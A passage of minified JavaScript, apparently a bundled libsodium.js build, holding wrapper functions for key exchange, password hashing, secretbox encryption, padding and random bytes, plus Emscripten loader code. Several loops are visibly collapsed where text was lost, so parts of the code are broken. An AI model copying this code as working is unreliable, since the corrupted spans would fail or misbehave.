ox_curve25519xchacha20poly1305_seal_open\",\"crypto_box_curve25519xchacha20poly1305_seed_keypair\",\"crypto_box_detached\",\"crypto_box_easy\",\"crypto_box_easy_afternm\",\"crypto_box_keypair\",\"crypto_box_open_detached\",\"crypto_box_open_easy\",\"crypto_box_open_easy_afternm\",\"crypto_box_seal\",\"crypto_box_seal_open\",\"crypto_box_seed_keypair\",\"crypto_core_ed25519_add\",\"crypto_core_ed25519_from_hash\",\"crypto_core_ed25519_from_uniform\",\"crypto_core_ed25519_is_valid_point\",\"crypto_core_ed25519_random\",\"crypto_core_ed25519_scalar_add\",\"crypto_core_ed25519_scalar_complement\",\"crypto_core_ed25519_scalar_invert\",\"crypto_core_ed25519_scalar_mul\",\"crypto_core_ed25519_scalar_negate\",\"crypto_core_ed25519_scalar_random\",\"crypto_core_ed25519_scalar_reduce\",\"crypto_core_ed25519_scalar_sub\",\"crypto_core_ed25519_sub\",\"crypto_core_hchacha20\",\"crypto_core_hsalsa20\",\"crypto_core_ristretto255_add\",\"crypto_core_ristretto255_from_hash\",\"crypto_core_ristretto255_is_valid_point\",\"crypto_core_ristretto255_random\",\"crypto_core_ristretto255_scalar_add\",\"crypto_core_ristretto255_scalar_complement\",\"crypto_core_ristretto255_scalar_invert\",\"crypto_core_ristretto255_scalar_mul\",\"crypto_core_ristretto255_scalar_negate\",\"crypto_core_ristretto255_scalar_random\",\"crypto_core_ristretto255_scalar_reduce\",\"crypto_core_ristretto255_scalar_sub\",\"crypto_core_ristretto255_sub\",\"crypto_generichash\",\"crypto_generichash_blake2b_salt_personal\",\"crypto_generichash_final\",\"crypto_generichash_init\",\"crypto_generichash_keygen\",\"crypto_generichash_update\",\"crypto_hash\",\"crypto_hash_sha256\",\"crypto_hash_sha256_final\",\"crypto_hash_sha256_init\",\"crypto_hash_sha256_update\",\"crypto_hash_sha512\",\"crypto_hash_sha512_final\",\"crypto_hash_sha512_init\",\"crypto_hash_sha512_update\",\"crypto_kdf_derive_from_key\",\"crypto_kdf_keygen\",\"crypto_kx_client_session_keys\",\"crypto_kx_keypair\",\"crypto_kx_seed_keypair\",\"crypto_kx_server_session_keys\",\"crypto_onetimeauth\",\"crypto_onetimeauth_final\",\"crypto_onetimeauth_init\",\"crypto_onetimeauth_keygen\",\"crypto_onetimeauth_update\",\"crypto_onetimeauth_verify\",\"crypto_pwhash\",\"crypto_pwhash_scryptsalsa208sha256\",\"crypto_pwhash_scryptsalsa208sha256_ll\",\"crypto_pwhash_scryptsalsa208sha256_str\",\"crypto_pwhash_scryptsalsa208sha256_str_verify\",\"crypto_pwhash_str\",\"crypto_pwhash_str_needs_rehash\",\"crypto_pwhash_str_verify\",\"crypto_scalarmult\",\"crypto_scalarmult_base\",\"crypto_scalarmult_ed25519\",\"crypto_scalarmult_ed25519_base\",\"crypto_scalarmult_ed25519_base_noclamp\",\"crypto_scalarmult_ed25519_noclamp\",\"crypto_scalarmult_ristretto255\",\"crypto_scalarmult_ristretto255_base\",\"crypto_secretbox_detached\",\"crypto_secretbox_easy\",\"crypto_secretbox_keygen\",\"crypto_secretbox_open_detached\",\"crypto_secretbox_open_easy\",\"crypto_secretstream_xchacha20poly1305_init_pull\",\"crypto_secretstream_xchacha20poly1305_init_push\",\"crypto_secretstream_xchacha20poly1305_keygen\",\"crypto_secretstream_xchacha20poly1305_pull\",\"crypto_secretstream_xchacha20poly1305_push\",\"crypto_secretstream_xchacha20poly1305_rekey\",\"crypto_shorthash\",\"crypto_shorthash_keygen\",\"crypto_shorthash_siphashx24\",\"crypto_sign\",\"crypto_sign_detached\",\"crypto_sign_ed25519_pk_to_curve25519\",\"crypto_sign_ed25519_sk_to_curve25519\",\"crypto_sign_ed25519_sk_to_pk\",\"crypto_sign_ed25519_sk_to_seed\",\"crypto_sign_final_create\",\"crypto_sign_final_verify\",\"crypto_sign_init\",\"crypto_sign_keypair\",\"crypto_sign_open\",\"crypto_sign_seed_keypair\",\"crypto_sign_update\",\"crypto_sign_verify_detached\",\"crypto_stream_chacha20\",\"crypto_stream_chacha20_ietf_xor\",\"crypto_stream_chacha20_ietf_xor_ic\",\"crypto_stream_chacha20_keygen\",\"crypto_stream_chacha20_xor\",\"crypto_stream_chacha20_xor_ic\",\"crypto_stream_keygen\",\"crypto_stream_xchacha20_keygen\",\"crypto_stream_xchacha20_xor\",\"crypto_stream_xchacha20_xor_ic\",\"randombytes_buf\",\"randombytes_buf_deterministic\",\"randombytes_close\",\"randombytes_random\",\"randombytes_set_implementation\",\"randombytes_stir\",\"randombytes_uniform\",\"sodium_version_string\"],n=[E,w,v,_,Q,b,k,D,S,N,M,x,F,P,T,R,U,G,H,L,O,Y,K,J,j,z,q,X,V,W,Z,$,tt,et,rt,nt,At,it,ot,st,at,ct,ht,gt,ut,lt,ft,pt,dt,It,yt,Ct,mt,Bt,Et,wt,vt,_t,Qt,bt,kt,Dt,St,Nt,Mt,xt,Ft,Pt,Tt,Rt,Ut,Gt,Ht,Lt,Ot,Yt,Kt,Jt,jt,zt,qt,Xt,Vt,Wt,Zt,$t,te,ee,re,ne,Ae,ie,oe,se,ae,ce,he,ge,ue,le,fe,pe,de,Ie,ye,Ce,me,Be,Ee,we,ve,_e,Qe,be,ke,De,Se,Ne,Me,xe,Fe,Pe,Te,Re,Ue,Ge,He,Le,Oe,Ye,Ke,Je,je,ze,qe,Xe,Ve,We,Ze,$e,tr,er,rr,nr,Ar,ir,or,sr,ar,cr,hr,gr,ur,lr,fr,pr,dr,Ir,yr,Cr,mr,Br,Er,wr,vr,_r,Qr,br,kr,Dr,Sr,Nr,Mr,xr,Fr,Pr,Tr,Rr,Ur,Gr,Hr,Lr],A=0;A=240?(h=4,a=!0):g>=224?(h=3,a=!0):g>=192?(h=2,a=!0):g<128&&(h=1,a=!0)}while(!a);for(var u=h-(s.length-c),l=0;l>8&-39)<<8|87+(e=t[i]>>>4)+(e-10>>8&-39),A+=String.fromCharCode(255&n)+String.fromCharCode(n>>>8);return A}var a={ORIGINAL:1,ORIGINAL_NO_PADDING:3,URLSAFE:5,URLSAFE_NO_PADDING:7};function c(t){if(null==t)return a.URLSAFE_NO_PADDING;if(t!==a.ORIGINAL&&t!==a.ORIGINAL_NO_PADDING&&t!==a.URLSAFE&&t!=a.URLSAFE_NO_PADDING)throw new Error(\"unsupported base64 variant\");return t}function h(t,e){e=c(e),t=B(A,t,\"input\");var n,A=[],i=0|Math.floor(t.length/3),s=t.length-3*i,a=4*i+(0!==s?2&e?2+(s>>>1):4:0),h=new f(a+1),g=p(t);return A.push(g),A.push(h.address),0===r._sodium_bin2base64(h.address,h.length,g,t.length,e)&&y(A,\"conversion failed\"),h.length=a,n=o(h.to_Uint8Array()),I(A),n}function g(t,e){var r=e||n;if(!u(r))throw new Error(r+\" output format is not available\");if(t instanceof f){if(\"uint8array\"===r)return t.to_Uint8Array();if(\"text\"===r)return o(t.to_Uint8Array());if(\"hex\"===r)return s(t.to_Uint8Array());if(\"base64\"===r)return h(t.to_Uint8Array(),a.URLSAFE_NO_PADDING);throw new Error('What is output format \"'+r+'\"?')}if(\"object\"==typeof t){for(var A=Object.keys(t),i={},c=0;c>>24>>>8,a,h);var E=g(d,o);return I(s),E}function we(t){var e=[];l(t);var n=new f(0|r._crypto_kdf_keybytes()),A=n.address;e.push(A),r._crypto_kdf_keygen(A);var i=g(n,t);return I(e),i}function ve(t,e,n,A){var i=[];l(A),t=B(i,t,\"clientPublicKey\");var o,s=0|r._crypto_kx_publickeybytes();t.length!==s&&C(i,\"invalid clientPublicKey length\"),o=p(t),i.push(o),e=B(i,e,\"clientSecretKey\");var a,c=0|r._crypto_kx_secretkeybytes();e.length!==c&&C(i,\"invalid clientSecretKey length\"),a=p(e),i.push(a),n=B(i,n,\"serverPublicKey\");var h,u=0|r._crypto_kx_publickeybytes();n.length!==u&&C(i,\"invalid serverPublicKey length\"),h=p(n),i.push(h);var d=new f(0|r._crypto_kx_sessionkeybytes()),m=d.address;i.push(m);var E=new f(0|r._crypto_kx_sessionkeybytes()),w=E.address;if(i.push(w),!(0|r._crypto_kx_client_session_keys(m,w,o,a,h))){var v=g({sharedRx:d,sharedTx:E},A);return I(i),v}y(i,\"invalid usage\")}function _e(t){var e=[];l(t);var n=new f(0|r._crypto_kx_publickeybytes()),A=n.address;e.push(A);var i=new f(0|r._crypto_kx_secretkeybytes()),o=i.address;if(e.push(o),!(0|r._crypto_kx_keypair(A,o))){var s={publicKey:g(n,t),privateKey:g(i,t),keyType:\"x25519\"};return I(e),s}y(e,\"internal error\")}function Qe(t,e){var n=[];l(e),t=B(n,t,\"seed\");var A,i=0|r._crypto_kx_seedbytes();t.length!==i&&C(n,\"invalid seed length\"),A=p(t),n.push(A);var o=new f(0|r._crypto_kx_publickeybytes()),s=o.address;n.push(s);var a=new f(0|r._crypto_kx_secretkeybytes()),c=a.address;if(n.push(c),!(0|r._crypto_kx_seed_keypair(s,c,A))){var h={publicKey:g(o,e),privateKey:g(a,e),keyType:\"x25519\"};return I(n),h}y(n,\"internal error\")}function be(t,e,n,A){var i=[];l(A),t=B(i,t,\"serverPublicKey\");var o,s=0|r._crypto_kx_publickeybytes();t.length!==s&&C(i,\"invalid serverPublicKey length\"),o=p(t),i.push(o),e=B(i,e,\"serverSecretKey\");var a,c=0|r._crypto_kx_secretkeybytes();e.length!==c&&C(i,\"invalid serverSecretKey length\"),a=p(e),i.push(a),n=B(i,n,\"clientPublicKey\");var h,u=0|r._crypto_kx_publickeybytes();n.length!==u&&C(i,\"invalid clientPublicKey length\"),h=p(n),i.push(h);var d=new f(0|r._crypto_kx_sessionkeybytes()),m=d.address;i.push(m);var E=new f(0|r._crypto_kx_sessionkeybytes()),w=E.address;if(i.push(w),!(0|r._crypto_kx_server_session_keys(m,w,o,a,h))){var v=g({sharedRx:d,sharedTx:E},A);return I(i),v}y(i,\"invalid usage\")}function ke(t,e,n){var A=[];l(n);var i=p(t=B(A,t,\"message\")),o=t.length;A.push(i),e=B(A,e,\"key\");var s,a=0|r._crypto_onetimeauth_keybytes();e.length!==a&&C(A,\"invalid key length\"),s=p(e),A.push(s);var c=new f(0|r._crypto_onetimeauth_bytes()),h=c.address;if(A.push(h),!(0|r._crypto_onetimeauth(h,i,o,0,s))){var u=g(c,n);return I(A),u}y(A,\"invalid usage\")}function De(t,e){var n=[];l(e),m(n,t,\"state_address\");var A=new f(0|r._crypto_onetimeauth_bytes()),i=A.address;if(n.push(i),!(0|r._crypto_onetimeauth_final(t,i))){var o=(r._free(t),g(A,e));return I(n),o}y(n,\"invalid usage\")}function Se(t,e){var n=[];l(e);var A=null;null!=t&&(A=p(t=B(n,t,\"key\")),t.length,n.push(A));var i=new f(144).address;if(!(0|r._crypto_onetimeauth_init(i,A))){var o=i;return I(n),o}y(n,\"invalid usage\")}function Ne(t){var e=[];l(t);var n=new f(0|r._crypto_onetimeauth_keybytes()),A=n.address;e.push(A),r._crypto_onetimeauth_keygen(A);var i=g(n,t);return I(e),i}function Me(t,e,n){var A=[];l(n),m(A,t,\"state_address\");var i=p(e=B(A,e,\"message_chunk\")),o=e.length;A.push(i),!!(0|r._crypto_onetimeauth_update(t,i,o))&&y(A,\"invalid usage\"),I(A)}function xe(t,e,n){var A=[];t=B(A,t,\"hash\");var i,o=0|r._crypto_onetimeauth_bytes();t.length!==o&&C(A,\"invalid hash length\"),i=p(t),A.push(i);var s=p(e=B(A,e,\"message\")),a=e.length;A.push(s),n=B(A,n,\"key\");var c,h=0|r._crypto_onetimeauth_keybytes();n.length!==h&&C(A,\"invalid key length\"),c=p(n),A.push(c);var g=!(0|r._crypto_onetimeauth_verify(i,s,a,0,c));return I(A),g}function Fe(t,e,n,A,i,o,s){var a=[];l(s),m(a,t,\"keyLength\"),(\"number\"!=typeof t||(0|t)!==t||t<0)&&C(a,\"keyLength must be an unsigned integer\");var c=p(e=B(a,e,\"password\")),h=e.length;a.push(c),n=B(a,n,\"salt\");var u,d=0|r._crypto_pwhash_saltbytes();n.length!==d&&C(a,\"invalid salt length\"),u=p(n),a.push(u),m(a,A,\"opsLimit\"),(\"number\"!=typeof A||(0|A)!==A||A<0)&&C(a,\"opsLimit must be an unsigned integer\"),m(a,i,\"memLimit\"),(\"number\"!=typeof i||(0|i)!==i||i<0)&&C(a,\"memLimit must be an unsigned integer\"),m(a,o,\"algorithm\"),(\"number\"!=typeof o||(0|o)!==o||o<0)&&C(a,\"algorithm must be an unsigned integer\");var E=new f(0|t),w=E.address;if(a.push(w),!(0|r._crypto_pwhash(w,t,0,c,h,0,u,A,0,i,o))){var v=g(E,s);return I(a),v}y(a,\"invalid usage\")}function Pe(t,e,n,A,i,o){var s=[];l(o),m(s,t,\"keyLength\"),(\"number\"!=typeof t||(0|t)!==t||t<0)&&C(s,\"keyLength must be an unsigned integer\");var a=p(e=B(s,e,\"password\")),c=e.length;s.push(a),n=B(s,n,\"salt\");var h,u=0|r._crypto_pwhash_scryptsalsa208sha256_saltbytes();n.length!==u&&C(s,\"invalid salt length\"),h=p(n),s.push(h),m(s,A,\"opsLimit\"),(\"number\"!=typeof A||(0|A)!==A||A<0)&&C(s,\"opsLimit must be an unsigned integer\"),m(s,i,\"memLimit\"),(\"number\"!=typeof i||(0|i)!==i||i<0)&&C(s,\"memLimit must be an unsigned integer\");var d=new f(0|t),E=d.address;if(s.push(E),!(0|r._crypto_pwhash_scryptsalsa208sha256(E,t,0,a,c,0,h,A,0,i))){var w=g(d,o);return I(s),w}y(s,\"invalid usage\")}function Te(t,e,n,A,i,o,s){var a=[];l(s);var c=p(t=B(a,t,\"password\")),h=t.length;a.push(c);var u=p(e=B(a,e,\"salt\")),d=e.length;a.push(u),m(a,n,\"opsLimit\"),(\"number\"!=typeof n||(0|n)!==n||n<0)&&C(a,\"opsLimit must be an unsigned integer\"),m(a,A,\"r\"),(\"number\"!=typeof A||(0|A)!==A||A<0)&&C(a,\"r must be an unsigned integer\"),m(a,i,\"p\"),(\"number\"!=typeof i||(0|i)!==i||i<0)&&C(a,\"p must be an unsigned integer\"),m(a,o,\"keyLength\"),(\"number\"!=typeof o||(0|o)!==o||o<0)&&C(a,\"keyLength must be an unsigned integer\");var E=new f(0|o),w=E.address;if(a.push(w),!(0|r._crypto_pwhash_scryptsalsa208sha256_ll(c,h,u,d,n,0,A,i,w,o))){var v=g(E,s);return I(a),v}y(a,\"invalid usage\")}function Re(t,e,n,A){var i=[];l(A);var o=p(t=B(i,t,\"password\")),s=t.length;i.push(o),m(i,e,\"opsLimit\"),(\"number\"!=typeof e||(0|e)!==e||e<0)&&C(i,\"opsLimit must be an unsigned integer\"),m(i,n,\"memLimit\"),(\"number\"!=typeof n||(0|n)!==n||n<0)&&C(i,\"memLimit must be an unsigned integer\");var a=new f(0|r._crypto_pwhash_scryptsalsa208sha256_strbytes()).address;if(i.push(a),!(0|r._crypto_pwhash_scryptsalsa208sha256_str(a,o,s,0,e,0,n))){var c=r.UTF8ToString(a);return I(i),c}y(i,\"invalid usage\")}function Ue(t,e,n){var A=[];l(n),\"string\"!=typeof t&&C(A,\"hashed_password must be a string\"),t=i(t+\"\\0\"),null!=s&&t.length-1!==s&&C(A,\"invalid hashed_password length\");var o=p(t),s=t.length-1;A.push(o);var a=p(e=B(A,e,\"password\")),c=e.length;A.push(a);var h=!(0|r._crypto_pwhash_scryptsalsa208sha256_str_verify(o,a,c,0));return I(A),h}function Ge(t,e,n,A){var i=[];l(A);var o=p(t=B(i,t,\"password\")),s=t.length;i.push(o),m(i,e,\"opsLimit\"),(\"number\"!=typeof e||(0|e)!==e||e<0)&&C(i,\"opsLimit must be an unsigned integer\"),m(i,n,\"memLimit\"),(\"number\"!=typeof n||(0|n)!==n||n<0)&&C(i,\"memLimit must be an unsigned integer\");var a=new f(0|r._crypto_pwhash_strbytes()).address;if(i.push(a),!(0|r._crypto_pwhash_str(a,o,s,0,e,0,n))){var c=r.UTF8ToString(a);return I(i),c}y(i,\"invalid usage\")}function He(t,e,n,A){var o=[];l(A),\"string\"!=typeof t&&C(o,\"hashed_password must be a string\"),t=i(t+\"\\0\"),null!=a&&t.length-1!==a&&C(o,\"invalid hashed_password length\");var s=p(t),a=t.length-1;o.push(s),m(o,e,\"opsLimit\"),(\"number\"!=typeof e||(0|e)!==e||e<0)&&C(o,\"opsLimit must be an unsigned integer\"),m(o,n,\"memLimit\"),(\"number\"!=typeof n||(0|n)!==n||n<0)&&C(o,\"memLimit must be an unsigned integer\");var c=!!(0|r._crypto_pwhash_str_needs_rehash(s,e,0,n));return I(o),c}function Le(t,e,n){var A=[];l(n),\"string\"!=typeof t&&C(A,\"hashed_password must be a string\"),t=i(t+\"\\0\"),null!=s&&t.length-1!==s&&C(A,\"invalid hashed_password length\");var o=p(t),s=t.length-1;A.push(o);var a=p(e=B(A,e,\"password\")),c=e.length;A.push(a);var h=!(0|r._crypto_pwhash_str_verify(o,a,c,0));return I(A),h}function Oe(t,e,n){var A=[];l(n),t=B(A,t,\"privateKey\");var i,o=0|r._crypto_scalarmult_scalarbytes();t.length!==o&&C(A,\"invalid privateKey length\"),i=p(t),A.push(i),e=B(A,e,\"publicKey\");var s,a=0|r._crypto_scalarmult_bytes();e.length!==a&&C(A,\"invalid publicKey length\"),s=p(e),A.push(s);var c=new f(0|r._crypto_scalarmult_bytes()),h=c.address;if(A.push(h),!(0|r._crypto_scalarmult(h,i,s))){var u=g(c,n);return I(A),u}y(A,\"weak public key\")}function Ye(t,e){var n=[];l(e),t=B(n,t,\"privateKey\");var A,i=0|r._crypto_scalarmult_scalarbytes();t.length!==i&&C(n,\"invalid privateKey length\"),A=p(t),n.push(A);var o=new f(0|r._crypto_scalarmult_bytes()),s=o.address;if(n.push(s),!(0|r._crypto_scalarmult_base(s,A))){var a=g(o,e);return I(n),a}y(n,\"unknown error\")}function Ke(t,e,n){var A=[];l(n),t=B(A,t,\"n\");var i,o=0|r._crypto_scalarmult_ed25519_scalarbytes();t.length!==o&&C(A,\"invalid n length\"),i=p(t),A.push(i),e=B(A,e,\"p\");var s,a=0|r._crypto_scalarmult_ed25519_bytes();e.length!==a&&C(A,\"invalid p length\"),s=p(e),A.push(s);var c=new f(0|r._crypto_scalarmult_ed25519_bytes()),h=c.address;if(A.push(h),!(0|r._crypto_scalarmult_ed25519(h,i,s))){var u=g(c,n);return I(A),u}y(A,\"invalid point or scalar is 0\")}function Je(t,e){var n=[];l(e),t=B(n,t,\"scalar\");var A,i=0|r._crypto_scalarmult_ed25519_scalarbytes();t.length!==i&&C(n,\"invalid scalar length\"),A=p(t),n.push(A);var o=new f(0|r._crypto_scalarmult_ed25519_bytes()),s=o.address;if(n.push(s),!(0|r._crypto_scalarmult_ed25519_base(s,A))){var a=g(o,e);return I(n),a}y(n,\"scalar is 0\")}function je(t,e){var n=[];l(e),t=B(n,t,\"scalar\");var A,i=0|r._crypto_scalarmult_ed25519_scalarbytes();t.length!==i&&C(n,\"invalid scalar length\"),A=p(t),n.push(A);var o=new f(0|r._crypto_scalarmult_ed25519_bytes()),s=o.address;if(n.push(s),!(0|r._crypto_scalarmult_ed25519_base_noclamp(s,A))){var a=g(o,e);return I(n),a}y(n,\"scalar is 0\")}function ze(t,e,n){var A=[];l(n),t=B(A,t,\"n\");var i,o=0|r._crypto_scalarmult_ed25519_scalarbytes();t.length!==o&&C(A,\"invalid n length\"),i=p(t),A.push(i),e=B(A,e,\"p\");var s,a=0|r._crypto_scalarmult_ed25519_bytes();e.length!==a&&C(A,\"invalid p length\"),s=p(e),A.push(s);var c=new f(0|r._crypto_scalarmult_ed25519_bytes()),h=c.address;if(A.push(h),!(0|r._crypto_scalarmult_ed25519_noclamp(h,i,s))){var u=g(c,n);return I(A),u}y(A,\"invalid point or scalar is 0\")}function qe(t,e,n){var A=[];l(n),t=B(A,t,\"scalar\");var i,o=0|r._crypto_scalarmult_ristretto255_scalarbytes();t.length!==o&&C(A,\"invalid scalar length\"),i=p(t),A.push(i),e=B(A,e,\"element\");var s,a=0|r._crypto_scalarmult_ristretto255_bytes();e.length!==a&&C(A,\"invalid element length\"),s=p(e),A.push(s);var c=new f(0|r._crypto_scalarmult_ristretto255_bytes()),h=c.address;if(A.push(h),!(0|r._crypto_scalarmult_ristretto255(h,i,s))){var u=g(c,n);return I(A),u}y(A,\"result is identity element\")}function Xe(t,e){var n=[];l(e),t=B(n,t,\"scalar\");var A,i=0|r._crypto_core_ristretto255_scalarbytes();t.length!==i&&C(n,\"invalid scalar length\"),A=p(t),n.push(A);var o=new f(0|r._crypto_core_ristretto255_bytes()),s=o.address;if(n.push(s),!(0|r._crypto_scalarmult_ristretto255_base(s,A))){var a=g(o,e);return I(n),a}y(n,\"scalar is 0\")}function Ve(t,e,n,A){var i=[];l(A);var o=p(t=B(i,t,\"message\")),s=t.length;i.push(o),e=B(i,e,\"nonce\");var a,c=0|r._crypto_secretbox_noncebytes();e.length!==c&&C(i,\"invalid nonce length\"),a=p(e),i.push(a),n=B(i,n,\"key\");var h,u=0|r._crypto_secretbox_keybytes();n.length!==u&&C(i,\"invalid key length\"),h=p(n),i.push(h);var d=new f(0|s),m=d.address;i.push(m);var E=new f(0|r._crypto_secretbox_macbytes()),w=E.address;if(i.push(w),!(0|r._crypto_secretbox_detached(m,w,o,s,0,a,h))){var v=g({mac:E,cipher:d},A);return I(i),v}y(i,\"invalid usage\")}function We(t,e,n,A){var i=[];l(A);var o=p(t=B(i,t,\"message\")),s=t.length;i.push(o),e=B(i,e,\"nonce\");var a,c=0|r._crypto_secretbox_noncebytes();e.length!==c&&C(i,\"invalid nonce length\"),a=p(e),i.push(a),n=B(i,n,\"key\");var h,u=0|r._crypto_secretbox_keybytes();n.length!==u&&C(i,\"invalid key length\"),h=p(n),i.push(h);var d=new f(s+r._crypto_secretbox_macbytes()|0),m=d.address;if(i.push(m),!(0|r._crypto_secretbox_easy(m,o,s,0,a,h))){var E=g(d,A);return I(i),E}y(i,\"invalid usage\")}function Ze(t){var e=[];l(t);var n=new f(0|r._crypto_secretbox_keybytes()),A=n.address;e.push(A),r._crypto_secretbox_keygen(A);var i=g(n,t);return I(e),i}function $e(t,e,n,A,i){var o=[];l(i);var s=p(t=B(o,t,\"ciphertext\")),a=t.length;o.push(s),e=B(o,e,\"mac\");var c,h=0|r._crypto_secretbox_macbytes();e.length!==h&&C(o,\"invalid mac length\"),c=p(e),o.push(c),n=B(o,n,\"nonce\");var u,d=0|r._crypto_secretbox_noncebytes();n.length!==d&&C(o,\"invalid nonce length\"),u=p(n),o.push(u),A=B(o,A,\"key\");var m,E=0|r._crypto_secretbox_keybytes();A.length!==E&&C(o,\"invalid key length\"),m=p(A),o.push(m);var w=new f(0|a),v=w.address;if(o.push(v),!(0|r._crypto_secretbox_open_detached(v,s,c,a,0,u,m))){var _=g(w,i);return I(o),_}y(o,\"wrong secret key for the given ciphertext\")}function tr(t,e,n,A){var i=[];l(A),t=B(i,t,\"ciphertext\");var o,s=r._crypto_secretbox_macbytes(),a=t.length;a>>0;return I([]),e}function Ur(t,e){var n=[];l(e);for(var A=r._malloc(24),i=0;i<6;i++)r.setValue(A+4*i,r.Runtime.addFunction(t[[\"implementation_name\",\"random\",\"stir\",\"uniform\",\"buf\",\"close\"][i]]),\"i32\");!!(0|r._randombytes_set_implementation(A))&&y(n,\"unsupported implementation\"),I(n)}function Gr(t){l(t),r._randombytes_stir()}function Hr(t,e){var n=[];l(e),m(n,t,\"upper_bound\"),(\"number\"!=typeof t||(0|t)!==t||t<0)&&C(n,\"upper_bound must be an unsigned integer\");var A=r._randombytes_uniform(t)>>>0;return I(n),A}function Lr(){var t=r._sodium_version_string(),e=r.UTF8ToString(t);return I([]),e}return f.prototype.to_Uint8Array=function(){var t=new Uint8Array(this.length);return t.set(r.HEAPU8.subarray(this.address,this.address+this.length)),t},t.add=function(t,e){if(!(t instanceof Uint8Array&&e instanceof Uint8Array))throw new TypeError(\"Only Uint8Array instances can added\");var r=t.length,n=0,A=0;if(e.length!=t.length)throw new TypeError(\"Arguments must have the same length\");for(A=0;A>=8,n+=t[A]+e[A],t[A]=255&n},t.base64_variants=a,t.compare=function(t,e){if(!(t instanceof Uint8Array&&e instanceof Uint8Array))throw new TypeError(\"Only Uint8Array instances can be compared\");if(t.length!==e.length)throw new TypeError(\"Only instances of identical length can be compared\");for(var r=0,n=1,A=t.length;A-- >0;)r|=e[A]-t[A]>>8&n,n&=(e[A]^t[A])-1>>8;return r+r+n-1},t.from_base64=function(t,e){e=c(e);var n,A=[],i=new f(3*(t=B(A,t,\"input\")).length/4),o=p(t),s=d(4),a=d(4);return A.push(o),A.push(i.address),A.push(i.result_bin_len_p),A.push(i.b64_end_p),0!==r._sodium_base642bin(i.address,i.length,o,t.length,0,s,a,e)&&y(A,\"invalid input\"),r.getValue(a,\"i32\")-o!==t.length&&y(A,\"incomplete input\"),i.length=r.getValue(s,\"i32\"),n=i.to_Uint8Array(),I(A),n},t.from_hex=function(t){var e,n=[],A=new f((t=B(n,t,\"input\")).length/2),i=p(t),o=d(4);return n.push(i),n.push(A.address),n.push(A.hex_end_p),0!==r._sodium_hex2bin(A.address,A.length,i,t.length,0,0,o)&&y(n,\"invalid input\"),r.getValue(o,\"i32\")-i!==t.length&&y(n,\"incomplete input\"),e=A.to_Uint8Array(),I(n),e},t.from_string=i,t.increment=function(t){if(!(t instanceof Uint8Array))throw new TypeError(\"Only Uint8Array instances can be incremented\");for(var e=256,r=0,n=t.length;r>=8,e+=t[r],t[r]=255&e},t.is_zero=function(t){if(!(t instanceof Uint8Array))throw new TypeError(\"Only Uint8Array instances can be checked\");for(var e=0,r=0,n=t.length;r 0\");var n,A=[],i=d(4),o=1,s=0,a=0|t.length,c=new f(a+e);A.push(i),A.push(c.address);for(var h=c.address,g=c.address+a+e;h>>48|a>>>32|a>>>16|a))-1>>16);return 0!==r._sodium_pad(i,c.address,t.length,e,c.length)&&y(A,\"internal error\"),c.length=r.getValue(i,\"i32\"),n=c.to_Uint8Array(),I(A),n},t.unpad=function(t,e){if(!(t instanceof Uint8Array))throw new TypeError(\"buffer must be a Uint8Array\");if((e|=0)<=0)throw new Error(\"block size must be > 0\");var n=[],A=p(t),i=d(4);return n.push(A),n.push(i),0!==r._sodium_unpad(i,A,t.length,e)&&y(n,\"unsupported/invalid padding\"),t=(t=new Uint8Array(t)).subarray(0,r.getValue(i,\"i32\")),I(n),t},t.ready=A,t.symbols=function(){return Object.keys(t).sort()},t.to_base64=h,t.to_hex=s,t.to_string=o,t}var A=\"object\"==typeof r.sodium&&\"function\"==typeof r.sodium.onload?r.sodium.onload:null;\"string\"!=typeof e.nodeName?n(e,(Lu||(Lu=1,function(e,r){!function(n){function A(r){var n;void 0===(n=r)&&(n={});var A=n;\"object\"!=typeof A.sodium&&(\"object\"==typeof t?A=t:\"object\"==typeof window&&(A=window));var i=n;return n.ready=new Promise((function(t,r){(o=i).onAbort=r,o.print=function(t){},o.printErr=function(t){},o.onRuntimeInitialized=function(){try{o._crypto_secretbox_keybytes(),t()}catch(t){r(t)}},o.useBackupModule=function(){return new Promise((function(t,r){(o={}).onAbort=r,o.onRuntimeInitialized=function(){Object.keys(i).forEach((function(t){\"getRandomValue\"!==t&&delete i[t]})),Object.keys(o).forEach((function(t){i[t]=o[t]})),t()};var n,A,o=void 0!==o?o:{},s=Object.assign({},o),a=\"object\"==typeof window,c=\"function\"==typeof importScripts,h=\"object\"==typeof process&&\"object\"==typeof process.versions&&\"string\"==typeof process.versions.node,g=\"\";if(h){var u=T,l=T;g=c?l.dirname(g)+\"/\":__dirname+\"/\",n=(t,e)=>(t=function(t){return t.startsWith(\"file://\")}(t)?new URL(t):l.normalize(t),u.readFileSync(t,e?void 0:\"utf8\")),A=t=>{var e=n(t,!0);return e.buffer||(e=new Uint8Array(e)),e},!o.thisProgram&&process.argv.length>1&&process.argv[1].replace(/\\\\/g,\"/\"),process.argv.slice(2),e.exports=o,o.inspect=()=>\"[Emscripten Module object]\"}else(a||c)&&(c?g=self.location.href:\"undefined\"!=typeof document&&document.currentScript&&(g=document.currentScript.src),g=0!==g.indexOf(\"blob:\")?g.substr(0,g.replace(/[?#].*/,\"\").lastIndexOf(\"/\")+1):\"\",n=t=>{var e=new XMLHttpRequest;return e.open(\"GET\",t,!1),e.send(null),e.responseText},c&&(A=t=>{var e=new XMLHttpRequest;return e.open(\"GET\",t,!1),e.responseType=\"arraybuffer\",e.send(null),new Uint8Array(e.response)}));o.print;var f,p=o.printErr||void 0;Object.assign(o,s),s=null,o.arguments&&o.arguments,o.thisProgram&&o.thisProgram,o.quit&&o.quit,o.wasmBinary&&(f=o.wasmBinary),o.noExitRuntime;var d,I={Memory:function(t){this.buffer=new ArrayBuffer(65536*t.initial)},Module:function(t){},Instance:function(t,e){this.exports=function(t){for(var e,r=new Uint8Array(123),n=25;n>=0;--n)r[48+n]=52+n,r[65+n]=n,r[97+n]=26+n;function A(t,e,n){for(var 